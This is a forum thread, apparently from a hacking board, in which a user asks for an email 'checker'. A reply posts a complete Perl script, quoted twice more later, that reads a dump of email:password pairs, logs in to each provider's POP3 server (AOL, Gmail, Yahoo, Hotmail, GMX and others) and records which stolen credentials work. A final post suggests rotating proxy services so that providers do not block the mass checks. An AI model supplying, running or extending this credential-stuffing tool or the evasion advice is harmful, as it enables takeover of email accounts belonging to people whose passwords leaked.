Mail area classification checker
by LTSH123 - November 20, 2019 at 10:58 AM
#1
Is there a suitable checker that can distinguish between countries in the mail area, and even distinguish the mail format, such as aol net yahoo gmail, if you have a similar free checker, please let me know, I need one.
#2
Is there a suitable checker that can distinguish between countries in the mail area

no way for this if you no send first email every address and pepl no open you no see ip countries etc

have a good day
#3
Like this? Easy to add more domains but obviously slow as it's single thread. Though, that's not necessarily a bad thing as it might prevent throttling.
#!/usr/bin/perl

# USAGE :
# ICheckMail.pl <login_&_pass_list.txt> <results.txt>
# <login_&_pass_list.txt> must be formatted like this:  [email protected]:pass
# example :
# ICheckMail.pl dump.txt results.txt

if(@ARGV!= 2){&usage;}
else{
print "\n";
print "-------------------------------\n";
print "-        ICheckMail.pl        -\n";
print "-------------------------------\n";
print "-        Version 1.00        -\n";
print "-          By b0110x        -\n";
print "-------------------------------\n";
print "\n";
print "Starting...\n";
print "\n";

$loginlist = $ARGV[0];
$resultlist = $ARGV[1];
$comptcourant = 0;
$comptpo = 0;
sub test($$);


open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    @tab = <MYFILE>;
    chomp(@tab);
    $total = scalar @tab;
 
    print "$total email accounts to check\n";
    print "\n";

    open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    print "Openning file $loginlist\n";
    print "Connecting to POP servers...\n";
    print "\n";
 
 
while(my $ligne = <MYFILE>){
   
    chomp($ligne);
   
    @details = split(/[@,:]/,$ligne);

    #$details[0] = user
    #$details[1] = provider
    #$details[2] = pass

if(($details[0]) and ($details[1]) and ($details[2])){
        $details[0] =~tr/[A-Z]/[a-z]/;
        $details[1] =~tr/[A-Z]/[a-z]/;
        $comptcourant = $comptcourant + 1;
        $port = "110";
        $SSL = 0;
        $AUTH_MODE = 'BEST';


# Beginning of POP servers list (modify it !!)


if   
    ($details[1] =~ m/aol/)                    # Aol
    {$pop = "pop.aol.com";}
elsif
    ($details[1] =~ m/aim.com/)                    # Aol
    {$pop = "pop.aol.com";
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/me/)                # me =====> SSL
    {$pop = "imap.mail.me.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/arcor/)                # arcor
    {$pop = "pop3.arcor.de";}
elsif
    ($details[1] =~ m/freenet/)                # freenet =====> SSL
    {$pop = "mx.freenet.de";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/web.de/)                # web.de =====> SSL
    {$pop = "pop3.web.de";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/comcast/)                # comcast =====> SSL
    {$pop = "mail.comcast.net";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/sbcglobal/)                # sbcglobal =====> SSL
    {$pop = "inbound.att.net";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/gmail/)                # gmail =====> SSL
    {$pop = "pop.gmail.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/gmx/)                    # gmx =====> SSL
    {$pop = "pop.gmx.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/googlemail/)            # gmx =====> SSL
    {$pop = "pop.gmail.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/hotmail/)                # hotmail =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/live/)                # live =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/msn/)                    # msn =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/ymail/)                # yahoo ======> SSL
    {$pop = "pop.mail.yahoo.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/earthlink/)                # yahoo ======> SSL
    {$pop = "pop.earthlink.net";
    $port = "110";
    $SSL = 1;}
elsif
    ($details[1] =~ m/yahoo/)                # yahoo ======> SSL
    {$pop = "pop.mail.yahoo.com";
    $port = "995";
    $SSL = 1;}
else
    {$pop = "UNKNOWN POP !!";}

# End of POP servers list




if ($details[0] =~ m/\@/)
    { print "$comptcourant:$total EMAIL $details[0]    PASS $details[2]    ";}
else
    {print "$comptcourant:$total EMAIL $details[0]\@$details[1]    PASS $details[2]    ";}
           
if(test($details[0],$details[2]))
    {$result = "YEAH";
    $comptpo = $comptpo + 1;
    print "YEAH\n";}
else
    {$result = "NO";
    print "NO\n";}
}

else
    {print "line $ligne from entry file is not formated like this user\@provider.com:pass)!!\n";
    print "Process stopped...\n";
    exit(1);}


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
if ($details[0] =~ m/\@/)
    {print LOG "$details[0]:$details[2]:$result:$pop\n";}
else
    {print LOG "$details[0]\@$details[1]:$details[2]:$result:$pop\n";}
    close(LOG);
}


$stat = sprintf("%.2f",(($comptpo * 100) / $total));


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
print LOG "\n";
print LOG "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
print LOG "\n";
close(LOG);


print "\n";
print "Writing results in $resultlist\n";
print "\n";
print "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
}


sub test($$){
  $user = $_[0];
  $pass = $_[1];

use Mail::POP3Client;
$mail = new Mail::POP3Client( HOST  => $pop, USESSL => $SSL, AUTH_MODE => $AUTH_MODE, TIMEOUT => 60, );
$mail->User( $user );
$mail->Pass( $pass );
$mail->Port( $port );
 
    if( $mail->Connect == 0 ) # 0=NO 1=OK
        {return 0;}
    else
        {return 1;}
}
 

  sub usage{
    print "[-] ICheckMail.pl <input.txt> <output.txt>\n";
    print "[-] <input.txt> must be formatted like this:  login\@provider.com:pass\n";
    print "[-] example :";
    print "[-] ICheckMail.pl dump.txt results.txt\n";
    die("[!] Usage incorrect !!\n");
}
#4
(November 20, 2019 at 12:13 PM)sharkwhite Wrote: Is there a suitable checker that can distinguish between countries in the mail area

no way for this if you no send first email every address and pepl no open you no see ip countries  etc

have a good day

I mean, if you know, .uk .ca .au .jp. Then check out to automatically distinguish between different documents,

(November 22, 2019 at 01:38 PM)EPP Wrote: Like this? Easy to add more domains but obviously slow as it's single thread. Though, that's not necessarily a bad thing as it might prevent throttling.
#!/usr/bin/perl

# USAGE :
# ICheckMail.pl <login_&_pass_list.txt> <results.txt>
# <login_&_pass_list.txt> must be formatted like this:  [email protected]:pass
# example :
# ICheckMail.pl dump.txt results.txt

if(@ARGV!= 2){&usage;}
else{
print "\n";
print "-------------------------------\n";
print "-        ICheckMail.pl        -\n";
print "-------------------------------\n";
print "-        Version 1.00        -\n";
print "-          By b0110x        -\n";
print "-------------------------------\n";
print "\n";
print "Starting...\n";
print "\n";

$loginlist = $ARGV[0];
$resultlist = $ARGV[1];
$comptcourant = 0;
$comptpo = 0;
sub test($$);


open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    @tab = <MYFILE>;
    chomp(@tab);
    $total = scalar @tab;
 
    print "$total email accounts to check\n";
    print "\n";

    open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    print "Openning file $loginlist\n";
    print "Connecting to POP servers...\n";
    print "\n";
 
 
while(my $ligne = <MYFILE>){
   
    chomp($ligne);
   
    @details = split(/[@,:]/,$ligne);

    #$details[0] = user
    #$details[1] = provider
    #$details[2] = pass

if(($details[0]) and ($details[1]) and ($details[2])){
        $details[0] =~tr/[A-Z]/[a-z]/;
        $details[1] =~tr/[A-Z]/[a-z]/;
        $comptcourant = $comptcourant + 1;
        $port = "110";
        $SSL = 0;
        $AUTH_MODE = 'BEST';


# Beginning of POP servers list (modify it !!)


if   
    ($details[1] =~ m/aol/)                    # Aol
    {$pop = "pop.aol.com";}
elsif
    ($details[1] =~ m/aim.com/)                    # Aol
    {$pop = "pop.aol.com";
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/me/)                # me =====> SSL
    {$pop = "imap.mail.me.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/arcor/)                # arcor
    {$pop = "pop3.arcor.de";}
elsif
    ($details[1] =~ m/freenet/)                # freenet =====> SSL
    {$pop = "mx.freenet.de";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/web.de/)                # web.de =====> SSL
    {$pop = "pop3.web.de";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/comcast/)                # comcast =====> SSL
    {$pop = "mail.comcast.net";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/sbcglobal/)                # sbcglobal =====> SSL
    {$pop = "inbound.att.net";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/gmail/)                # gmail =====> SSL
    {$pop = "pop.gmail.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/gmx/)                    # gmx =====> SSL
    {$pop = "pop.gmx.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/googlemail/)            # gmx =====> SSL
    {$pop = "pop.gmail.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/hotmail/)                # hotmail =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/live/)                # live =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/msn/)                    # msn =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/ymail/)                # yahoo ======> SSL
    {$pop = "pop.mail.yahoo.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/earthlink/)                # yahoo ======> SSL
    {$pop = "pop.earthlink.net";
    $port = "110";
    $SSL = 1;}
elsif
    ($details[1] =~ m/yahoo/)                # yahoo ======> SSL
    {$pop = "pop.mail.yahoo.com";
    $port = "995";
    $SSL = 1;}
else
    {$pop = "UNKNOWN POP !!";}

# End of POP servers list




if ($details[0] =~ m/\@/)
    { print "$comptcourant:$total EMAIL $details[0]    PASS $details[2]    ";}
else
    {print "$comptcourant:$total EMAIL $details[0]\@$details[1]    PASS $details[2]    ";}
           
if(test($details[0],$details[2]))
    {$result = "YEAH";
    $comptpo = $comptpo + 1;
    print "YEAH\n";}
else
    {$result = "NO";
    print "NO\n";}
}

else
    {print "line $ligne from entry file is not formated like this user\@provider.com:pass)!!\n";
    print "Process stopped...\n";
    exit(1);}


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
if ($details[0] =~ m/\@/)
    {print LOG "$details[0]:$details[2]:$result:$pop\n";}
else
    {print LOG "$details[0]\@$details[1]:$details[2]:$result:$pop\n";}
    close(LOG);
}


$stat = sprintf("%.2f",(($comptpo * 100) / $total));


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
print LOG "\n";
print LOG "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
print LOG "\n";
close(LOG);


print "\n";
print "Writing results in $resultlist\n";
print "\n";
print "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
}


sub test($$){
  $user = $_[0];
  $pass = $_[1];

use Mail::POP3Client;
$mail = new Mail::POP3Client( HOST  => $pop, USESSL => $SSL, AUTH_MODE => $AUTH_MODE, TIMEOUT => 60, );
$mail->User( $user );
$mail->Pass( $pass );
$mail->Port( $port );
 
    if( $mail->Connect == 0 ) # 0=NO 1=OK
        {return 0;}
    else
        {return 1;}
}
 

  sub usage{
    print "[-] ICheckMail.pl <input.txt> <output.txt>\n";
    print "[-] <input.txt> must be formatted like this:  login\@provider.com:pass\n";
    print "[-] example :";
    print "[-] ICheckMail.pl dump.txt results.txt\n";
    die("[!] Usage incorrect !!\n");
}


I can't read the code, but you are very kind. Thank you
#5
(November 23, 2019 at 01:42 PM)LTSH123 Wrote:
(November 20, 2019 at 12:13 PM)sharkwhite Wrote: Is there a suitable checker that can distinguish between countries in the mail area

no way for this if you no send first email every address and pepl no open you no see ip countries  etc

have a good day

I mean, if you know, .uk .ca .au .jp. Then check out to automatically distinguish between different documents,

(November 22, 2019 at 01:38 PM)EPP Wrote: Like this? Easy to add more domains but obviously slow as it's single thread. Though, that's not necessarily a bad thing as it might prevent throttling.
#!/usr/bin/perl

# USAGE :
# ICheckMail.pl <login_&_pass_list.txt> <results.txt>
# <login_&_pass_list.txt> must be formatted like this:  [email protected]:pass
# example :
# ICheckMail.pl dump.txt results.txt

if(@ARGV!= 2){&usage;}
else{
print "\n";
print "-------------------------------\n";
print "-        ICheckMail.pl        -\n";
print "-------------------------------\n";
print "-        Version 1.00        -\n";
print "-          By b0110x        -\n";
print "-------------------------------\n";
print "\n";
print "Starting...\n";
print "\n";

$loginlist = $ARGV[0];
$resultlist = $ARGV[1];
$comptcourant = 0;
$comptpo = 0;
sub test($$);


open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    @tab = <MYFILE>;
    chomp(@tab);
    $total = scalar @tab;
 
    print "$total email accounts to check\n";
    print "\n";

    open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
    print "Openning file $loginlist\n";
    print "Connecting to POP servers...\n";
    print "\n";
 
 
while(my $ligne = <MYFILE>){
   
    chomp($ligne);
   
    @details = split(/[@,:]/,$ligne);

    #$details[0] = user
    #$details[1] = provider
    #$details[2] = pass

if(($details[0]) and ($details[1]) and ($details[2])){
        $details[0] =~tr/[A-Z]/[a-z]/;
        $details[1] =~tr/[A-Z]/[a-z]/;
        $comptcourant = $comptcourant + 1;
        $port = "110";
        $SSL = 0;
        $AUTH_MODE = 'BEST';


# Beginning of POP servers list (modify it !!)


if   
    ($details[1] =~ m/aol/)                    # Aol
    {$pop = "pop.aol.com";}
elsif
    ($details[1] =~ m/aim.com/)                    # Aol
    {$pop = "pop.aol.com";
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/me/)                # me =====> SSL
    {$pop = "imap.mail.me.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/arcor/)                # arcor
    {$pop = "pop3.arcor.de";}
elsif
    ($details[1] =~ m/freenet/)                # freenet =====> SSL
    {$pop = "mx.freenet.de";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/web.de/)                # web.de =====> SSL
    {$pop = "pop3.web.de";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/comcast/)                # comcast =====> SSL
    {$pop = "mail.comcast.net";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/sbcglobal/)                # sbcglobal =====> SSL
    {$pop = "inbound.att.net";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/gmail/)                # gmail =====> SSL
    {$pop = "pop.gmail.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/gmx/)                    # gmx =====> SSL
    {$pop = "pop.gmx.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/googlemail/)            # gmx =====> SSL
    {$pop = "pop.gmail.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/hotmail/)                # hotmail =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/live/)                # live =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/msn/)                    # msn =====> SSL
    {$pop = "pop3.live.com";
    $port = "995";
    $SSL = 1;
    $details[0] = $details[0]."@".$details[1];}  # user is composed [email protected]
elsif
    ($details[1] =~ m/ymail/)                # yahoo ======> SSL
    {$pop = "pop.mail.yahoo.com";
    $port = "995";
    $SSL = 1;}
elsif
    ($details[1] =~ m/earthlink/)                # yahoo ======> SSL
    {$pop = "pop.earthlink.net";
    $port = "110";
    $SSL = 1;}
elsif
    ($details[1] =~ m/yahoo/)                # yahoo ======> SSL
    {$pop = "pop.mail.yahoo.com";
    $port = "995";
    $SSL = 1;}
else
    {$pop = "UNKNOWN POP !!";}

# End of POP servers list




if ($details[0] =~ m/\@/)
    { print "$comptcourant:$total EMAIL $details[0]    PASS $details[2]    ";}
else
    {print "$comptcourant:$total EMAIL $details[0]\@$details[1]    PASS $details[2]    ";}
           
if(test($details[0],$details[2]))
    {$result = "YEAH";
    $comptpo = $comptpo + 1;
    print "YEAH\n";}
else
    {$result = "NO";
    print "NO\n";}
}

else
    {print "line $ligne from entry file is not formated like this user\@provider.com:pass)!!\n";
    print "Process stopped...\n";
    exit(1);}


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
if ($details[0] =~ m/\@/)
    {print LOG "$details[0]:$details[2]:$result:$pop\n";}
else
    {print LOG "$details[0]\@$details[1]:$details[2]:$result:$pop\n";}
    close(LOG);
}


$stat = sprintf("%.2f",(($comptpo * 100) / $total));


open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
print LOG "\n";
print LOG "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
print LOG "\n";
close(LOG);


print "\n";
print "Writing results in $resultlist\n";
print "\n";
print "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
}


sub test($$){
  $user = $_[0];
  $pass = $_[1];

use Mail::POP3Client;
$mail = new Mail::POP3Client( HOST  => $pop, USESSL => $SSL, AUTH_MODE => $AUTH_MODE, TIMEOUT => 60, );
$mail->User( $user );
$mail->Pass( $pass );
$mail->Port( $port );
 
    if( $mail->Connect == 0 ) # 0=NO 1=OK
        {return 0;}
    else
        {return 1;}
}
 

  sub usage{
    print "[-] ICheckMail.pl <input.txt> <output.txt>\n";
    print "[-] <input.txt> must be formatted like this:  login\@provider.com:pass\n";
    print "[-] example :";
    print "[-] ICheckMail.pl dump.txt results.txt\n";
    die("[!] Usage incorrect !!\n");
}


I can't read the code, but you are very kind. Thank you

oh ok bro now undestand better aniway for work easy in multithread whit script if modify  just use hq servive rotate proxy 

like smartproxy and service no kill multiple check request 

have a good day

Possibly Related Threads…
Thread Author Replies Views Last Post
Question - Not sure if this is the right topic area btw Shai134 0 826 January 07, 2019 at 08:14 AM
Last Post: Shai134

 Users browsing this thread: 1 Guest(s)